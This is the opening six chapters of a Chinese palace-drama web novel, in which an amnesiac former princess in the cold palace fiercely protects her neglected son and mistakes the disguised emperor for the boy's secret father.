《被疑生野种?娘娘靠发癫整治后宫》 第1章 是儿子,也是野种 “你说你是我儿子?”晋明鸢问。 她现在正躺在一个破落的院子里,旁边就是一口枯井。 浑身疼的像是散架了一样,强撑着身子坐起来,一言难尽的看着面前这个只到她腰的小孩。 “嗯,还是个野种。”小孩也看着她,声音平静无波,乌溜溜的眼睛却还含着好奇的盯着晋明鸢打量。 晋明鸢听罢,只觉得脑袋越来越疼了,她不明白,一个才只有五岁的孩子,怎么张口闭口就是野种。 大抵是看出了她的疑惑,小孩又一本正经的解释:“他们都说你是曾经的四皇子妃,在四皇子登基之前与人苟合怀上了我,这才被丢进了冷宫。” 四皇子妃?在四皇子登基之前与人苟合生野种? 乍一听到这个解释,晋明鸢只觉得脑袋上的青筋突突乱跳。 她是没了记忆,可她又不是傻子,作为好端端的四皇子妃,在自己丈夫即将登基的时候跑去与人苟合生野种,这是正常人能干出来的事儿? 反正晋明鸢只要想想,就觉得她不可能那么做。 晋明鸢深吸了一口气,冲着小孩招了招手:“过来,跟娘说说你叫什么名字?我怎么会躺在这里?” 虽然觉得小孩那几句话,信息量有些大,也让她匪夷所思,但看到那小孩与她五分相似的脸,晋明鸢接受的很快。 但那小孩在听到她口中那句娘的时候,却好像愣了一下,硬是僵持了好久也没动静。 晋明鸢只能自己爬起来,揉了揉还在发痛的太阳穴,朝着他走了过去。 小孩坐在一个小凳子上,面前摆了块粗粝的石头,晋明鸢刚睁开眼的时候,他在吭哧吭哧的磨着镰刀,现在动作倒是停了,但那镰刀还摆在他的面前。 走的近了,晋明鸢先看到的是他被石头擦出血来的手指,她连忙在身上翻着一阵,却是连一块帕子都没能找到。 身上的布料脏兮兮的,晋明鸢只能撕了里衣来给他包扎伤口。 之前只是看还不觉得,现在手触及到小孩的手腕,她才发现这孩子太瘦了,就像是皮肉紧贴着骨骼一样,骨头的轮廓都清晰可见。 肌肤相碰,那小孩瑟缩了一下,就要把手抽回去,晋明鸢忙道:“别动,我先帮你包扎伤口。” 小孩果然不再动了,晋明鸢能感觉到他的视线一直都看着自己的侧脸,看得很认真,又好像带着好奇。 “你真的什么都不记得了?”小孩忽然问。 晋明鸢点了点头,她刚要再问一句,那小孩却道:“贺云瑄。” 晋明鸢先愣了一下,才反应过来那是他的名字。 “你掉进了枯井里,是一个穿着黑衣服的人把你救上来的。”他继续说。 “黑衣服的人?”晋明鸢重复一遍。 贺云瑄点了点头,声音有些生硬:“我不认识。” 晋明鸢也知道,从这孩子这里问不出多少东西,她在他手上打了个漂亮的蝴蝶结,才把目光落在了那把磨的发亮的镰刀上。 “你磨镰刀做什么?”她问。 贺云瑄方才还有问必答,这会儿却是略微垂下了眼睑,看着那把镰刀,长长的睫毛在脸上留下大片阴影,好一会儿才说:“割韭菜,做饭。” 经他这一提,晋明鸢也看到院子里有一块菜地,地里只长了一片郁郁葱葱的韭菜,这么看来,他们母子二人应当就是靠这个过活的。 晋明鸢又看向了贺云瑄那皮包骨头的手腕,还有这冷宫破旧的似是不遮风的门窗,她当真想不明白自己之前怎么忍心带着儿子在这儿住那么久。 不行,她必须得想办法带云瑄离开这鬼地方。 这般想着,晋明鸢戳了戳贺云瑄的小脸:“乖乖,在这里等着,娘去割菜做饭。” 贺云瑄有些犹豫,瞧着晋明鸢尽是不信任:“你什么都不记得了,还会做饭?” “应该会吧。”晋明鸢也有些不确定,她确实不记得关于自己之前的事了,不过她看到韭菜水井这些东西都是认识的,应该只是忘了经历而已。 贺云瑄看着她不说话,眉头却紧紧的皱起。 晋明鸢伸手,摸了摸他的眉心:“小孩子家家的,皱眉做什么?开心点,天塌下来还有娘顶着呢。” 她转身进了菜地。 贺云瑄站在原地,看着她的背影,木讷的抬起手来,按在眉心处被她碰过的地方。 这是她第一次碰他。 今日也是她第一次与他说话。 可是为什么呢? 她明明那么讨厌他,就算她失忆了,他也没有瞒她,他都告诉她了,他就是个野种,她这次为什么没有像以前那样躲开? 像是被蛊惑了一样,贺云瑄抬脚朝着晋明鸢走过去,离得近了,他忽然惊呼:“你在做什么?” “割韭菜呀。”晋明鸢有些茫然。 “韭菜哪里有你这样一根根割的?算了,你给我吧。”贺云瑄跺了跺脚,他眼睛都瞪得大大的,伸手就抢过了晋明鸢手里的镰刀。 晋明鸢捏着手里的三五根菜,看着小孩弯腰,小手在菜地里一抓一把菜,镰刀一划就整齐的割了下来。 很快就咔咔的割了一大把菜摆在了一边,晋明鸢看看那堆菜,又看看自己手里的东西,眼睛都瞪大了几分,一把就将贺云瑄抱进了怀里:“宝贝儿子,小瑄瑄,你可真厉害,真是娘的好宝贝。” 镰刀咔嗒一下掉在了地上,贺云瑄一双小手僵着,完全不知道要往哪里放,别扭道:“你…你怎么说话那么…那么…” 他一连说了几个那么,却根本想不到一个词来形容自己的感受。 他太轻了,晋明鸢一只手就能抱起他,她另一只手又点了一下他的额头:“那么什么?娘说的哪句不是实话?娘的宝贝儿子小瑄瑄,走,娘去给你做饭。” 贺云瑄像是失神了,直到她把他放在一边,转身进了厨房,他都回不过神来。 她叫他宝贝。 他真是她的宝贝吗? 不是的,她只是失忆了,不记得了而已,她之前从来不理他的。 贺云瑄还陷在自己的回忆里,忽然就闻到了一股浓烈的烟味,他猛地回神,便看到厨房里已是浓烟滚滚,那个女人跌跌撞撞的从里边闯出来,站在门口被呛的咳嗽不止。 “我…宝贝儿子,我好像不会做饭。”对上贺云瑄的目光,晋明鸢也很尴尬,她真不知道她不会做饭。 她明明想生火的,可那烟却怎么也止不住,呛的她眼泪更是流个不停。 贺云瑄还没说话,只听到外面哐当一声响,有两个丫鬟撞门进来,粉衣丫鬟不耐烦的道:“小野种,你又作什么妖呢?” 绿衣丫鬟翻了个白眼:“你个小野种真是一日也不消停,也不看看自己是什么个贱命,陛下准你留在这宫里已经是大发慈悲,你还天天作妖惹事,我这就打死你个小野种。” 两个人气势汹汹。 贺云瑄却像是习惯了,站在原地不跑不闹,任由那绿衣丫鬟急步过来,拽住了他的手腕。 晋明鸢再也忍不住,抄起手里的烧火棍就朝着绿衣丫鬟砸了过去,嘴里还骂道:“给你胆了是不是?当着我的面打我儿子,当老娘是泥捏的吗?” 背上传来一阵剧痛,绿衣丫鬟闷哼一声,那粉衣丫鬟也是满脸错愕:“晋明鸢?你要护着这个小野种?” 第2章 你敢亵渎陛下? “问的什么屁话?老娘不护着我儿子护着你吗?”晋明鸢已经到了贺云瑄身边。 她撞开了绿衣丫鬟,直接把贺云瑄拉到了自己的身后:“小瑄瑄,你方才站在那里做什么?她们打你,你就跑呀,跑不了就叫娘呀,娘在这里呢。” “晋明鸢,你疯了吗?你怎么敢护这个小野种?你知不知道…”绿衣丫鬟质问。 “老娘知道个鬼,你打我儿子还有理了?我说我儿子怎么一口一个野种,原来是你个小贱人教的,看老娘不打死你。” 她弯腰从地上又捡起了那根烧火棍,对着绿衣丫鬟就抽了过去。 绿衣丫鬟吓得尖叫连连,拔腿就跑,贺云瑄小嘴张的大大的,眼睛里的震惊几乎要溢出来。 这还是他娘吗? “我说他野种怎么了?他难道不是野种吗?这满宫都知道他是你与奸人生得野种,凭什么不让说?”绿衣丫鬟边跑边嚷。 贺云瑄低着头,一双小手搅在了一起,脸上尽是不安。 他是个野种,所有人都是这样说的,她应该又要嫌弃他了吧,又该离他远远的了。 牙齿咬着嘴唇,不知不觉竟是把唇咬出了血,可贺云瑄根本不敢抬头。 他害怕看到她嫌恶的目光。 下一刻,贺云瑄忽然听到旁边的女人继续战斗力十足的回怼:“奸人?呵,老娘是曾经的四皇子妃,也就是现在的皇后,敢问你说的奸人可是曾经的四皇子,如今的陛下?” 贺云瑄愣了,那两名丫鬟也愣了,个个瞪着眼,张着嘴看着晋明鸢。 还是绿衣丫鬟反应过来:“你…你简直是疯了,不仅敢以皇后自居,竟然还敢亵渎陛下,你…你…” “我什么?亵渎陛下的不是你吗?是谁一口一个奸人称呼陛下的?又是谁称呼陛下的孩子为野种的?”晋明鸢寸步不退。 绿衣丫鬟气得浑身都在发抖,那粉衣丫鬟凑到她耳边低声道:“柳枝姐姐,她今日有些不对劲,我们还是赶紧去通知陛下吧。” “对,你给我等着,我们现在就去找陛下,看陛下来了,你还敢不敢带着这野种这么嚣张。”绿衣柳枝愤愤道。 晋明鸢好似听不到她的威胁,又骂:“还敢叫野种,信不信老娘现在先撕烂你们的嘴?” 她挽了袖子就要冲过来,粉衣丫鬟白了脸,连忙拉了柳枝就跑。 晋明鸢看着她们的背影,又愤愤的攥了攥拳头,才想起自己身边还跟了个小孩。 她连忙低头去看,正好对上贺云瑄一双波澜未平的眼睛。 她的手落在了贺云瑄的头顶,揉乱了小孩细软的头发:“怎么了小瑄瑄?被娘吓到了?你放心,娘不会那样对你的,娘还会一直保护我们小瑄瑄呢。” 她的手很温柔,贺云瑄眼眶却有些发酸,眼睛也有些泛湿,晋明鸢吓了一跳:“怎么还哭了?是不是还在不开心?那娘再把她们两个抓回来打一顿好不好?” 晋明鸢说着,就作势要走,贺云瑄忙抓住了她的袖子:“别,她们去找那个人了。” 提到那三个字,贺云瑄的眼睛闪烁了几分,眼睛里的情绪都杂乱许多。 晋明鸢先是愣了一下,随后才想到那两个丫鬟走时喊着去请陛下了,贺云瑄口中的那个人指的便是这座皇宫的主人了。 晋明鸢拍了拍贺云瑄的肩膀:“别怕小瑄瑄,不管谁来,娘都不会让人欺负你的。” 她是真的一点儿也不介意那俩宫女去搬救兵。 反而对她来说,那两人能把陛下请来最好,她也想见见这个把他们母子丢在这里五年不闻不问的陛下。 “可…”贺云瑄想说什么,但看到晋明鸢那张混不在意的脸,不知出于什么心态,他生硬的转了话题:“我去做饭。” “你做饭?”晋明鸢稍微一愣,她怀疑自己是听错了,她看着将将到自己腰那么高的贺云瑄,又看了一眼满园子绿油油的韭菜,还有她方才去厨房时,分明见那厨房里连个鸡蛋也没有。 很容易就可以看出,他们母子二人就是靠这些韭菜过活的。 想到这些,晋明鸢就是气不打一处来,她怒道:“做饭,还做什么饭?走,娘带你去找吃的。” 自己的儿子瘦的皮包骨头的,小小年纪要自己做饭,外面随便两个丫鬟就能进来骂他野种,晋明鸢实在想不到自己之前是怎么给人当娘的,才造成这样的后果。 不过她现在绝不允许任何人再欺负自己的宝贝儿子。 怒火翻涌之下,晋明鸢已是拉着贺云瑄的胳膊就朝着门外而去,嘴上还嘀咕着:“这劳什子破地方?劳什子破皇帝,真真是小肚鸡肠的,连个孩子的吃食都克扣。” “这…这种话不能说,会得罪他们的,你…”贺云瑄还没从方才的震惊里回过神来,又听晋明鸢的絮絮叨叨的话,登时目光呆滞,用力的拽着晋明鸢的袖子。 急于阻止晋明鸢,他完全没有发觉晋明鸢已经扯着他出了冷宫,走上了他从未踏足过的甬道。 “怎么就不能说了?我说的哪句不是实话?我可怜的儿子被苛待成这模样,还不能我骂他两句了?”晋明鸢翻了翻眼皮,又是没好气的咕囔一句。 “实话?苛待?看来你怨气不小呀。”一个阴沉的声音忽然自前方传来,晋明鸢正好就看到一人黑色披风扬着风,大步流星的朝着她走来,那人有力的脚步声踏在青石板地砖上发出沉稳有力的声响,带来十足的压迫感。 他很快就在晋明鸢面前停住了脚步,投射下来的阴影正好将晋明鸢的身影笼罩在内。 晋明鸢目光在他刀削斧凿般精致立体的脸上扫了一眼,随即就是不耐烦道:“你谁呀?让开,别挡老娘的路。” “是谁准你出来乱跑的?”男人眸光微沉,漆黑的瞳孔里闪过几分阴翳。 他轻轻转动着拇指上的白玉扳指,阳光洒落下来,正照在他那扳指上雕出的栩栩如生的龙首上,他那双眼睛里探究之意明显。 第3章 那个人真是我爹? “小瑄瑄,你认识这个人吗?”面前人的话倒是让晋明鸢短暂的收敛了些许,她好歹没在说什么惊世骇俗的话,而是转头去看贺云瑄。 贺云瑄仰着脸,一双乌溜溜的大眼睛去看男人的脸,好一会儿,他摇了摇头:“没见过,应该是那个人的手下,我们还是先回去吧,让那个人知道就不好了。” 贺云瑄从未出过冷宫,自然也不认识面前的人。 他的小手扯了扯晋明鸢的袖口,还没有打消劝说的主意。 此时他一颗小脑袋里更是疑惑满满。 他娘明明是那么个清冷孤傲的人,往日里往什么地方一站,看着月亮就是一整夜不说话,任凭周围发生什么,都好似没办法吸引她的注意力一般。 怎么只是失个忆而已,就像是变了个人一样? “慌什么?让他知道又怎样?老娘还想见见那小肚鸡肠的皇帝怎么回事呢,自己吃的膀大腰圆,把我儿子养的瘦骨嶙峋,什么东西?” 晋明鸢大手一挥,直接推开了挡在自己面前的人,扯着贺云瑄的胳膊就要越过他。 只是下一刻,手腕就被人拉住了,男人眸光森森地望着她:“你失忆了?” 他说的是个问句,用的却是笃定的语气。 “你谁呀?松开,别误了我给我儿子找吃的。”晋明鸢皱眉。 贺江灈目光死死的盯着她的眼睛,确认在她眼里没有看到一丁点儿的伪装,只有明显的烦躁。 看来确实是失忆了。 目光略微的下移,他又看向了贺云瑄那只揪着她另一边袖口的手上,若非失忆,她绝不敢这么亲近这小东西。 只是……贺江灈想到方才暗一的禀报。 这冷宫素来无人靠近,她这两年也算安分,怎会无缘无故掉进枯井? 还偏偏就在他出宫围猎的时候,出了这档子意外,未免过于巧合。 贺江灈正要说话,忽听得远处传来了一阵杂乱的脚步声,还夹杂着内监尖锐的声音:“陛下,哎哟,陛下哎,您去哪儿了?等等奴才们啊!” 啧,找来的倒是快。 贺江灈脸色一沉,拉了晋明鸢动作利落的将她连带着贺云瑄一起塞进了两面宫墙隔绝出来的一小片甬道里:“嘘,先别…” “你与那狗皇帝有仇?怕看见他?”他话都没说完,晋明鸢已经眼睛亮晶晶的接上了话,她道,“瞧你这打扮身份应该不低,长得也不错,又在这后宫里游曳,还那么怕被狗皇帝发现,莫非你给狗皇帝戴绿帽了?让我瞧瞧,咦……不对,你这张脸,这双眼睛怎么这么有些像我儿子?你…你该不会是…不会是…” 后面的话晋明鸢结结巴巴大半晌,愣是一个字儿也说不出口。 不…不是吧? 她宝贝儿子难不成还真…不是皇帝的种? 贺云瑄仰着脸,这会儿也是震惊的盯着贺江灈,满脸尽是惊讶,不…不能吧,真是他那素未谋面的亲爹? 一大一小两个人的目光惧在贺江灈身上游移不定,贺江灈的胸口更是起伏不定。 贺江灈还没有说话,晋明鸢已经很坦然的接受了这个“现实”,她伸手就拉起了贺云瑄的胳膊,很是自来熟的指责道:“你这人怎么回事?这么多年一走了之,瞧把儿子饿的,都瘦成什么样了?你还有没有一点责任心?” “陛下?陛下等等奴才啊!” “哎呦陛下,您去哪儿了啊陛下?” 外面的声音接连不断,旁边晋明鸢更是喋喋不休,贺江灈眉心都在突突跳个不停,眼里的躁郁之色几乎要溢出来。 “闭嘴,等会再说。”这女人话太密了,贺江灈好不容易找到了插话的机会,黑着脸呵斥一句。 他气场太强,倒是震的晋明鸢缩了缩脖子,但很快她就又道:“看你打扮的也是人模狗样的,我不管,儿子饿成这样就是你的问题,想让我闭嘴,你得想办法给我们娘俩弄吃食。” 她说了那么多句,都不见这男人反驳自己的身份,晋明鸢这会儿已经笃定了这就是孩子爹。 本来晋明鸢倒是有底气和狗皇帝据理力争改善自己和儿子的生活环境,可现在… 瞧着面前这人与贺云瑄那几分相似的脸,她还真没底了。 贺江灈并没错过晋明鸢短暂的心虚,凭借她那略有奇葩的脑回路,他大抵能猜到这女人又想到了什么,目光阴沉的几乎要化作刀子。 “你…” “你什么你,你就说答不答应吧?”晋明鸢问。 “答应,怎么能不答应呢?”贺江灈话说的意味深长,语毕时几乎咬碎了一口银牙。 “这还差不多,他们好像走了,我和儿子回去等你,你赶紧的想办法,别把儿子饿坏了。”晋明鸢说。 她一点儿不留情的推开了面前的男人,又是大摇大摆的沿路返回,坦荡的好像一点留恋都没有,更没有注意到背后男人阴沉的几乎要滴出水来的脸。 倒是被她牵着的贺云瑄几乎是一步三回头的往贺江灈身上扫。 那人…真是他爹? 他没有否认,应该是的吧? 可贺云瑄总觉得哪里不对劲,宫墙之下一片阴影扫落下来,男人的身影隐在暗处,只腰间挂着的一块成色极佳的玉佩闪烁着莹润的光。 贺云瑄方才分明恍惚的看到,那块玉佩上好像有凸起的雕刻,像是…龙纹。 “怎么了小瑄瑄?在想什么?”晋明鸢终于察觉到了贺云瑄的不对劲,她略微弯腰,声音又放的温和了起来,和方才那副暴躁的模样判若两人。 贺云瑄小手揪着她的袖口,犹豫着要不要将自己的发现说出口来。 或许是自己看错了呢? 那个人从来高高在上,不屑踏足冷宫附近,反正这五年来自己从未见过他,只听过他的名讳。 更何况他那么讨厌自己,就算来了,也绝不可能与自己和平共处。 “你觉得刚才那个人真是我爹吗?”贺云瑄抬眼盯着晋明鸢问。 第4章 你便宜爹好像很厉害 小孩一张小脸格外的认真。 尤其是那双黑漆漆的眼睛,好似能窥透人的内心一般。 晋明鸢被他这么盯着,难得也认真几分。 她认真的摇了摇头。 “那你…”贺云瑄那张脸上闪过几分明显的无语,他神色很是古怪的盯着晋明鸢。 不知道,不确定,还能那么理直气壮? 像是看出了贺云瑄的无奈,晋明鸢伸出一根手指,轻轻戳了戳他绷紧的额头:“小孩子家家的,别总皱眉,天塌下来娘跟你顶着呢。” 一句话说完,没见贺云瑄的神色有多少变化,晋明鸢又哄道:“虽然娘不记得,不过他与你生得那般像,十有八九就是了。” 许是没听说过哪家认爹像她那么随便的,贺云瑄看着晋明鸢的眼神愈发的一言难尽。 晋明鸢不知怎么,就被他盯得有些心虚,略有尴尬的挠挠头皮,她道:“哎呀,不要在意那么多细节,累了吧小瑄瑄,娘带你回去休息。” 那是细节的事吗? 贺云瑄绷着张脸刚想说话,双脚就先离了地,他瞳孔一阵猛烈的收缩,无比震惊的发现他竟然被这女人直接抱了起来。 “你…你做什么?”一双小手僵在半空中,完全不知道该往哪里放,贺云瑄就像是一个木偶一样,他感觉自己浑身的血液都有些凝滞。 此刻他注意力已经完全被女人突如其来的动作牵扯,完全就忘了自己心里方才的怀疑。 她…为什么会抱他? 她真的可以对他那么好吗? 贺云瑄抿着唇,鼻腔里尽是女人身上若有若无的香气。 那味道浅淡,不像花香,也不像胭脂香,反而更像春日里新生的草木,无比清新的味道,又带着股勃勃生机。 这是贺云瑄第一次闻到她身上的味道,也是第一次与她靠的这么近。 以往她总是带着股子拒人于千里之外的孤冷,自己只要试着想靠近她,得到的都是如刀子一般冷漠的目光。 贺云瑄早就不敢奢求她的亲近了,没想到今日… 晋明鸢亦是感觉到了贺云瑄的僵硬,她腾出一只手来,又捏了捏小孩的脸:“小瑄瑄,你这孩子,做什么那么警惕,娘抱抱你不是很正常的吗?” 小孩很轻,晋明鸢一只手抱他也不吃力。 目光望着他那张紧绷的小脸,晋明鸢心底一阵心疼,她之前,到底怎么对这孩子的? 母子间这般接触不是很正常吗?他为何表现出来的只有惶恐和震惊? 正常吗? 贺云瑄眉头拧的越来越紧。 他同样没有错过晋明鸢眼睛里的疑惑。 如果这是正常的,那她过去五年,为何从不会抱他,亦不会允许靠近? 问题到了嘴边,几乎要脱口而出,贺云瑄抿了抿唇,却又强行把那股冲动压了下去。 他不敢问,也不能问。 他害怕一但问出了口,她又变成以前那个清高不理人的娘亲。 母子二人各怀心思,一路回了冷宫,那两个方才跑出去的宫女还没有回来,晋明鸢放下了贺云瑄,她刚要说话,外面就传来了一阵脚步声,方才见过的那男人手里拎着个食盒大步流星的走了进来。 乍一看到他,贺云瑄有些不安的伸手,揪住了晋明鸢衣服的一角,明明是害怕的,小小的身子却偏上前一步,挡在了晋明鸢的面前。 晋明鸢并没有贺云瑄的那份不安,她上前两步,一巴掌拍在了男人的肩膀上:“好啊你,来的倒是挺快的,吃的拿来吧。” 她一只手正瘫在男人面前,话里下逐客令的意思也无比的明显。 贺江灈捏着食盒把手的手骤然收紧:“不请我进去坐坐?” 晋明鸢皱眉,一双眼睛将面前的人上下打量一番,视线里嫌弃的意思明显。 哪怕她一句话没说,那几乎能化作实质的嫌弃依旧让贺江灈看得一清二楚。 贺江灈索性不等她回应,抬脚直接越过了她,大步流星的朝着屋内而去。 “哎,你做什么?你还记不记得你自己的身份?你一个见不得光的,留下来是想害死我们母子吗?” 晋明鸢面色一变,大步追上去就要把他拉回来,但她到底慢了贺江灈一步,男人已经拉开了房门。 “喂,你到底听没听到我说话,你…” “你这几年就这么过的?”晋明鸢话才说一般,贺江灈忽然出声打断了她。 他并没有进屋,目光略有凝滞的盯着房中。 晋明鸢已经走到了他身边,目光亦是有些发愣的看着面前的房间,空荡荡的屋子,破旧的桌子,四把椅子就已经是这房里所有的东西了。 家具少的可怜便也就罢了,最离谱的是那四把椅子放一起,都凑不出一把完整的来。 她就是这么过的?晋明鸢自己亦是震惊。 这可以说是她睁开眼来,第一次进这个所谓的自己的房间,大脑一片空白,她这会儿自己也在怀疑。 这五年,她与儿子一直这么住的? 贺云瑄站在门口,同样有些惊讶,目光错愕的看着晋明鸢的侧脸。 这也是他第一次靠近晋明鸢的房间。 他亦是没有想到,原来她这里比自己房里还不如吗? 之前清姨姨不是说,给她送过许多东西吗?为什么她这里却是连把完整的椅子都没有? 清姨姨口中的东西都送去了哪里? 一时间,三个人都因为这扇推开的门僵在原地,还是晋明鸢最先回过神来,她抬起一巴掌就甩在了贺江灈的肩膀上:“你还好意思问?若非是你,我与儿子岂会如此?” 她完全就是一副理所当然的模样。 但这次贺江灈更多的注意力尽是被这空荡荡的屋子吸引,并没有多在意晋明鸢的话。 晋明鸢又顺手抢过了他手里的食盒,伸手牵了贺云瑄的手进门:“发呆就去一边站着,别耽误我儿子吃饭,耽搁那么久,饭都要凉了。” 在一堆凳子里,寻了个不算缺胳膊少腿的,晋明鸢把贺云瑄抱了上去,她打开了贺江灈拿来的食盒,看着琳琅满目的饭菜,眼睛亮了几分,低声凑到贺云瑄耳边道:“小瑄瑄,你这个便宜爹好像有点本事哦。” 第5章 冷宫不就是这样的吗 这里本就是规矩森严的皇宫,这人能以如此的速度轻而易举的拿来那么多摆盘都精致的吃食,就足以证明他的身份不简单了。 贺云瑄扭头,一双带着怀疑的眼睛落在了贺江灈的身上,确切的说是盯着贺江灈腰间。 他身上的衣裳还是方才看见的那件,但腰上空荡荡的并没有配饰,就好像不久前,自己看见的那块玉佩是错觉一样。 可贺云瑄分明就记得,他刚才腰间分明就是挂着枚色泽莹润的玉佩的,那玉佩甚至还在阳光下漾出盈盈波光。 “小瑄瑄,别光愣着啊,饿坏了吧,快先喝点粥暖暖。”贺云瑄兀自失神的空档,晋明鸢已经将一碗冒着热气的粥推到了他面前。 女人弯着腰,手里还攥着勺子,俨然一副要喂他的模样。 她这般热情,让贺云瑄全然招架不住,思绪被强硬拉回,贺云瑄连忙从她手中夺过了勺子,只是目光还时不时的往贺江灈身上瞟。 他总觉得这个突然出现在他们世界里的男人有些古怪。 偏偏… 贺云瑄又回头看了晋明鸢一眼,这个该被他称作母亲的女人俨然没什么觉悟,这会儿正撑着腮往他碗里夹菜,根本就没有把注意力分给男人的意思。 而且看她那副理所当然的模样,贺云瑄也不指望她能感觉到这男人的出现古怪了。 他的眉心明显的皱起,忽然对以后的日子有些忧虑起来。 “怎么又皱眉,小小年纪怎么这般老气横秋的?娘不是给你说过许多遍了吗?天塌下来有娘顶着呢,有什么事都与娘说,娘总会给你摆平的,哪里用得着你来皱眉?” 晋明鸢对杵在门口的贺江灈确实不怎么上心,但她对自己的宝贝儿子却是格外的关注。 贺云瑄一个微小的动作就被她看得清楚,她直接伸手,动作温柔的抚平了贺云瑄蹙起的眉心,又补了一句格外坚定的话。 做完这一切,她又一直在心里感慨,她之前到底是怎么对待这个孩子的,怎么能把他养的这般沉默老成,根本看不出一点四五岁孩童天真烂漫的样子。 晋明鸢自以为自己是给足了贺云瑄底气,殊不知她这幅大大咧咧的模样,让贺云瑄的眉皱得更深了。 小手将手中的汤匙攥得紧紧的,贺云瑄有些不懂,只是失忆而已,一个人的天性怎么能变得这么大呢? 她之前… 虽然总是不理人,可看起来很精明呀,现在怎么… 贺云瑄视线又一次看向了贺江灈,他终于提醒道:“你是不是还忘了什么?” 门口那人不进不退,身子遮挡了大片阳光,存在感高的让人忽略不了。 且不说他身份不明,就单说她如今身在冷宫,就还是皇帝的妃子,怎么能留一个男人在冷宫里久待? 索性经过贺云瑄的提醒,晋明鸢也终于反应过来自己方才忘了什么,她亦是偏头看了贺江灈一眼:“你这人忒不是个东西,明明身在皇城,却这么多年不出现,放任着儿子吃苦受罪,是不是今日我若没遇见你,你还不会出来?” 一对上贺江灈,晋明鸢就没了好脾气,她起了身,手叉着腰,眼睛都瞪大了几分,似是恨不得将贺江灈生吞活剥了一般。 甭管被指责的当事人是如何想,贺云瑄这会儿已经无奈地扶了扶额,见暗示行不通,他伸手拽了一下晋明鸢的袖口,直接明示:“芙蕖和柳枝走了有一会了,应该快回来了,他在这里不合适。” 他口中的芙蕖和柳枝便是方才被晋明鸢气走,扬言要去请陛下的那两个宫女。 也是这几年来一直看守冷宫的人。 经贺云瑄这么一提醒,晋明鸢脸上闪过了几分恍然之色,还不等她开口赶人,一直沉默不语的贺江灈却忽然抬脚走了过来,他一双森冷的瞳孔正落在贺云瑄的头顶:“她一直都是过得这样的日子?” 大抵是知晓问晋明鸢,必是什么也问不出来的,贺江灈索性直接找了贺云瑄,目光像是夹了刀子一样,扫的贺云瑄背后汗毛都乍然立起。 贺云瑄虽是与他不熟,却明显的在他这句话里感觉到了一股风雨欲来的意味。 “冷宫不就是这样的环境吗?”贺云瑄咽了咽唾沫,手指将晋明鸢的衣角攥得更紧了一些,他同样站起了身,身子不高,却把晋明鸢挡在自己身后,一如方才那般。 只是他那一双黑漆漆的瞳孔里,在看向贺江灈的时候,消失了不久的探究又一次浮上眼瞳。 这个人从出现到现在的表现都过于古怪了。 贺云瑄不知道他到底是做什么的,又或者说他的出现是不是别有用心? 看他现在的模样,好像很在意晋明鸢,可如果真的在意,晋明鸢现在的处境可不是一朝一夕就这样的。 这整整五年,贺云瑄可以笃定自己切切实实没有见过他。 可若说不在意,他现在的怒火与探究好像也不似作伪。 不清楚面前人真实的身份,贺云瑄到底是留了个心眼,并没有正面回答,反而直接抛了个问题出来,让他自己去想。 他那一双黑漆漆的眼睛在看向贺江灈时,警惕之意一点点加深。 他总觉得,他娘这一趟好像招惹了个不得了的麻烦回来。 贺江灈视线同样没有离开贺云瑄,他看着他如同一只炸毛的小兽一般,明明肩膀都在轻微的发抖,却硬是把比他高大许多的女人挡在了背后。 他嗤笑一声:“你在防着我?你确定不告诉我,我就没办法了?” 伴随着他的声音,是一股浓烈的压迫感兜头罩了下来。 贺云瑄喉头轻微的动了动,他咽了咽唾沫,倔强道:“我没有,冷宫本来就是这样的,若是金堆玉彻,那还叫什么冷宫?” 他这话像是在说给贺江灈听的,又像是在说给自己听的。 虽然他也震惊于晋明鸢的屋里比他住的房间还要简陋,可这也确实符合冷宫的环境。 之前于嬷嬷说过,冷宫就是罪人住的地方,自然是清苦一些。 他不明白,为什么清姨姨总说,给娘送了许多东西,为什么面前这个人,好像也那么震惊娘住的地方。 难道冷宫不是这样的吗?可那又该是什么样的? 贺江灈依旧盯着贺云瑄,贺云瑄也望着他,两双相似的眼睛撞在一起,谁也不肯退让。 贺云瑄甚至反问:“不然你以为她应该住在什么样的环境里?” 第6章 我以为贵妃会帮衬你 贺云瑄这话一出,贺江灈的脸色都变得古怪了几分。 他眼睁睁的看着贺云瑄抖得越来越厉害,他以为这小崽子马上就要认怂,没想到他竟是还有心思反过来质问自己。 不应该说质问,确切的说他在套他的话。 贺江灈嘴唇轻启,一句讥讽的话几乎要脱口而出的时候,胸口忽地被人锤了一拳,晋明鸢已经把贺云瑄拉到了身后:“你还有完没完了?冲儿子发什么火?你若对这破烂地方有意见,便想办法休整啊,在这里吓唬孩子算什么本事?” 晋明鸢母鸡护小鸡一般,就差直接把面前的男人生吞活剥了。 他问便也罢了,还没完没了了,她的儿子她自己都舍不得凶,这人一遍遍的质问什么? 若非他与小瑄瑄长得像,让她弄不清自己没失忆之前是不是脑子抽筋,真与这种人有些首尾,她才懒得理他。 旁的不说,就单论将他们母子丢在这里五年不闻不问,他能是什么好东西? 晋明鸢越是想下去,就越控制不住自己的怒火,她干脆不再压抑,伸手扯了贺江灈的袖子,连拖带拽的推搡着他往门外去。 她手劲极大,贺江灈一时不查,就真的被他推出了门,哐当一声,木门被摔过来,破烂的门框摇晃了好几下,才堪堪稳住,却也完全将贺江灈挡在了外面。 屋里隐隐约约还能听到女子放低了声音与贺云瑄说话的声音,贺江灈的目光紧盯着那面好像稍一用力,就能四分五裂的门板,他到底什么也没说。 “陛下,可要回紫宸殿?”守在冷宫门口的张公公看完了全程,小心翼翼的凑过来询问,一张脸已经憋成了菜色。 乖乖哦,他方才没有看错的话,陛下是被晋娘娘强行赶出来的? 这可真是活久见了,陛下自登基以来,第一次踏入冷宫也就算了,竟然还是被晋娘娘赶出来了,这可真是个天大的新闻。 张公公忍不住抬眼看了看万里无云的晴空,真不知这天还能晴几时。 “让贵妃来紫宸殿见朕。”贺江灈又望了一眼禁闭的门扉,冷声对着张公公吩咐一句,便越过了他朝着冷宫外面走去。 “贵妃?”一门之隔的房间内,晋明鸢略有惊讶的看着贺云瑄,“你是说这宫里的贵妃经常来看我,还给我送东西,凭什么呢?” 也不怪她如此惊讶,实在是贺江灈前脚刚走,贺云瑄就像是疯了一样,将她的房间翻了个底朝天,还质问她把贵妃送的东西藏去了哪里? 晋明鸢到现在为止,脑子里有印象的,除了贺云瑄,就是刚走的贺江灈,再然后便是那两个被她打跑的宫女,至于什么贵妃,她根本听都没听说过。 看到晋明鸢的茫然,贺云瑄这才反应过来自己失态,他冷静了下来,闷声道:“这几年贵妃常来看你,她说你们是最好的姐妹,我以为,她会帮衬你的。” 说话间,贺云瑄眼前已经浮现出了女子雍容华贵的打扮。 